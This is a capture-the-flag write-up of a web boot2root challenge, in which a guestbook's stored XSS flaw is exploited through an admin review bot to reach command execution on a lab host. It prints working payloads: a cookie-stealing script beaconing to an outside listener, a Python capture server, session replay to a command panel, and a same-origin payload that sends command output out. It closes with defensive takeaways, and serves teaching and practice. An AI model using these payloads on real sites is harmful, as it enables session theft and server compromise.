N
Back to writeup archive
LIGA CTF 2026 (Week 2 Boot2Root)

Fragnesia - I

The challenge prompt "Can you command your orchestration without ever crossing the bounded rules?" points at driving a privileged internal action while staying inside the browser's Same-Origin Policy (the "bounded rules"). The target hosts a "Guestbook" web application. The intended path is a stored Cross-Site Scripting (XSS) flaw in the public guestbook that is rendered by an authenticated admin review bot. By making the bot execute our JavaScript in its own session, we hijack its admin context and reach a hidden command-execution panel, achieving Remote Code Execution (RCE) and reading the flag without ever submitting a password ourselves.

Boot2RootMarkdown + PDFHardsolved4 minread·772words
route
/TryN3rr0r/writeups/liga-ctf-2026-week-2-boot2root/fragnesia-i
archive index
14 / 16
read mode
parsed markdown
Writeup loaded.

Fragnesia - I

challenge brief
target profile, scoring, and execution stack
verified solve
target
192.168.1.24
category
Web / Boot2Root
points
1000
difficulty
Hard
flag format
OWASPKL{xxx}
tools used
nmapferoxbusterffufdalfoxcurlpython3
final flag
OWASPKL{W3ll_h3ll0_tH3rE}
reveal and copy from section 5
PDF evidence frame 01

1. Challenge Overview

The challenge prompt — *"Can you command your orchestration without ever crossing the bounded rules?"* — points at driving a privileged internal action while staying inside the browser's Same-Origin Policy (the "bounded rules"). The target hosts a "Guestbook" web application. The intended path is a stored Cross-Site Scripting (XSS) flaw in the public guestbook that is rendered by an authenticated admin review bot. By making the bot execute our JavaScript in its own session, we hijack its admin context and reach a hidden command-execution panel, achieving Remote Code Execution (RCE) and reading the flag — without ever submitting a password ourselves.

2. Initial Reconnaissance

A full TCP service/version scan showed a single exposed service: Apache on port 80 serving a "Guestbook" application. The scan's HTTP cookie script also flagged that the PHPSESSID cookie is issued without the HttpOnly flag — an early indicator that session cookies are readable from JavaScript.

bash1 lines
1nmap -sC -sV -p- -T4 192.168.1.24
text7 lines
1PORT   STATE SERVICE VERSION280/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))3| http-cookie-flags:4|   /:5|     PHPSESSID:6|_      httponly flag not set7|_http-title: Guestbook
PDF evidence frame 02

3. Analysis / Forensics Path

3.1 Content discovery

I enumerated the application with feroxbuster ([github.com/epi052/feroxbuster](https://github.com/epi052/feroxbuster)) using a SecLists ([github.com/danielmiessler/SecLists](https://github.com/danielmiessler/SecLists)) wordlist.

bash3 lines
1feroxbuster -u http://192.168.1.24 \2  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \3  -x php,txt -d 1 -o ferox.txt
text5 lines
1200      GET   http://192.168.1.24/2200      GET   http://192.168.1.24/index.php3200      GET   http://192.168.1.24/admin.php4200      GET   http://192.168.1.24/admin_login.php5200      GET   http://192.168.1.24/bot.php
PDF evidence frame 03

3.2 Endpoint behaviour mapping

Probing each discovered endpoint live:

bash3 lines
1curl -s http://192.168.1.24/index.php | sed -n '1,20p'      # guestbook form: <textarea name="text">2curl -s http://192.168.1.24/admin.php                       # -> "Access denied."3curl -s http://192.168.1.24/admin_login.php | sed -n '1,15p' # login form (username/password)

index.php — public guestbook with a text comment field, rendering all prior comments.

admin.php — returns Access denied.; gated behind an admin session.

admin_login.php — admin authentication form.

bot.php — a server-side request endpoint (takes a url parameter).

3.3 Confirming the stored XSS

The guestbook reflects submitted comments back into the page unescaped. I confirmed this manually and corroborated it with dalfox ([github.com/hahwul/dalfox](https://github.com/hahwul/dalfox)).

bash7 lines
1# manual: submit a marker and check it is reflected as raw HTML2curl -s --data-urlencode "text=<b>xssPoC7331</b>" http://192.168.1.24/index.php >/dev/null3curl -s http://192.168.1.24/index.php | grep -n "xssPoC7331"4# -> <div><b>xssPoC7331</b></div>   (raw tag, not encoded => stored XSS)56# automated confirmation7dalfox url http://192.168.1.24/index.php --data "text=FUZZ" -X POST
PDF evidence frame 04

3.4 Discovering the admin review bot

The bot.php endpoint accepts a url parameter and triggers a server-side, admin-authenticated visit. I proved an automated reviewer exists by pointing it at a listener on my Kali box.

bash5 lines
1# Kali listener (terminal A)2python3 -m http.server 800034# trigger the reviewer (terminal B)5curl -s "http://192.168.1.24/bot.php?url=http://192.168.1.10:8000/REVIEWER_CHECK"

The listener received a request originating from the target itself (192.168.1.24), confirming an automated admin process reviews submitted content. Combined with the missing HttpOnly flag (Section 2), this is the exploitable primitive: the bot renders attacker-controlled comments in its authenticated admin session.

PDF evidence frame 05

4. Exploitation / Recovery

Vulnerability chain

Stored XSS (index.php)admin review bot renders comment in its sessionsame-origin access to admin.phpRCEflag. The bot's session is borrowed entirely within the Same-Origin Policy — satisfying the challenge's "without ever crossing the bounded rules."

4.1 Capture the admin session via stored XSS

Because PHPSESSID is not HttpOnly, a stored payload can read document.cookie from the bot's session and exfiltrate it. I used a small logging listener to record the callback source and query string.

bash19 lines
1# Kali: logging listener2cat > cap.py <<'PY'3from http.server import BaseHTTPRequestHandler, HTTPServer4from urllib.parse import unquote5import datetime6class H(BaseHTTPRequestHandler):7    def do_GET(self):8        with open("xsslog.txt","a") as f:9            f.write(f"{datetime.datetime.now()} FROM {self.client_address[0]} PATH {unquote(self.path)}\n")10        self.send_response(200); self.end_headers(); self.wfile.write(b"OK")11    def log_message(self,*a): pass12HTTPServer(("0.0.0.0",8000),H).serve_forever()13PY14python3 cap.py &1516# Plant the stored cookie-stealing comment17curl -s --data-urlencode \18  "text=<script>new Image().src='http://192.168.1.10:8000/steal?c='+encodeURIComponent(document.cookie)</script>" \19  http://192.168.1.24/index.php >/dev/null

When the admin bot reviewed the guestbook, it executed the script and beaconed its session cookie back to my listener:

text1 lines
12026-06-01 07:54:40  FROM 192.168.1.24  PATH /steal?c=PHPSESSID=37hjdcf7obqltdkvcfek4tr97g

The callback originated from the target (192.168.1.24) and carried a valid admin PHPSESSID — proving our JavaScript ran inside the bot's authenticated session.

PDF evidence frame 06

4.2 Replay the stolen admin session → RCE

I replayed the captured PHPSESSID against admin.php. The panel is now authenticated and exposes a command field, giving RCE as www-data — no password was ever entered.

bash3 lines
1curl -s -b "PHPSESSID=37hjdcf7obqltdkvcfek4tr97g" \2  --data-urlencode "cmd=id" http://192.168.1.24/admin.php3# <pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre>
PDF evidence frame 07

4.3 (Alternative) Pure same-origin payload

The same result can be achieved without manual cookie handling — a single stored payload makes the bot POST to admin.php from its own origin and exfiltrate the output:

bash2 lines
1curl -s --data-urlencode 'text=<script>fetch("/admin.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"cmd="+encodeURIComponent("cat /var/www/html/first_flag.txt")}).then(r=>r.text()).then(d=>{new Image().src="http://192.168.1.10:8000/RCE?d="+encodeURIComponent(d)})</script>' \2  http://192.168.1.24/index.php >/dev/null

4.4 Locate and read the flag

Using the authenticated panel, I enumerated the web root and read the flag file.

bash3 lines
1curl -s -b "PHPSESSID=37hjdcf7obqltdkvcfek4tr97g" \2  --data-urlencode "cmd=ls -la /var/www/html; echo '---'; cat /var/www/html/first_flag.txt" \3  http://192.168.1.24/admin.php
text5 lines
1<pre>2-rw-r--r-- 1 root root  index.php  admin.php  admin_login.php  bot.php  first_flag.txt3---4OWASPKL{W3ll_h3ll0_tH3rE}5</pre>
PDF evidence frame 08

5. Flag

captured flag
OWASPKL{W3ll_h3ll0_tH3rE}

6. Summary of Approach & Key Takeaways

Recon (nmap) → only port 80 (Apache, "Guestbook"); PHPSESSID missing HttpOnly.

Content discovery (feroxbuster + SecLists) → index.php, admin.php, admin_login.php, bot.php.

Vulnerability discovery → stored XSS in the guestbook (dalfox); admin.php is session-gated; an admin review bot renders submitted comments (proved via an out-of-band callback from the target).

Exploitation → stored XSS executed in the bot's session and exfiltrated its admin PHPSESSID (readable due to missing HttpOnly).

RCE → replayed the stolen admin session to admin.php (uid=33(www-data)) — credential-free, fully within the Same-Origin Policy.

Flag recovery → read /var/www/html/first_flag.txt.

Key takeaways:

User content must be output-encoded (htmlspecialchars) — the guestbook stored and reflected raw HTML.

Session cookies should set HttpOnly (and Secure); without it, XSS trivially steals sessions.

Automated "review" bots inherit privileges — an XSS rendered in an admin bot's session is equivalent to admin access.

Sensitive endpoints (admin.php) must not rely on session state alone; add CSRF protection and remove arbitrary command execution.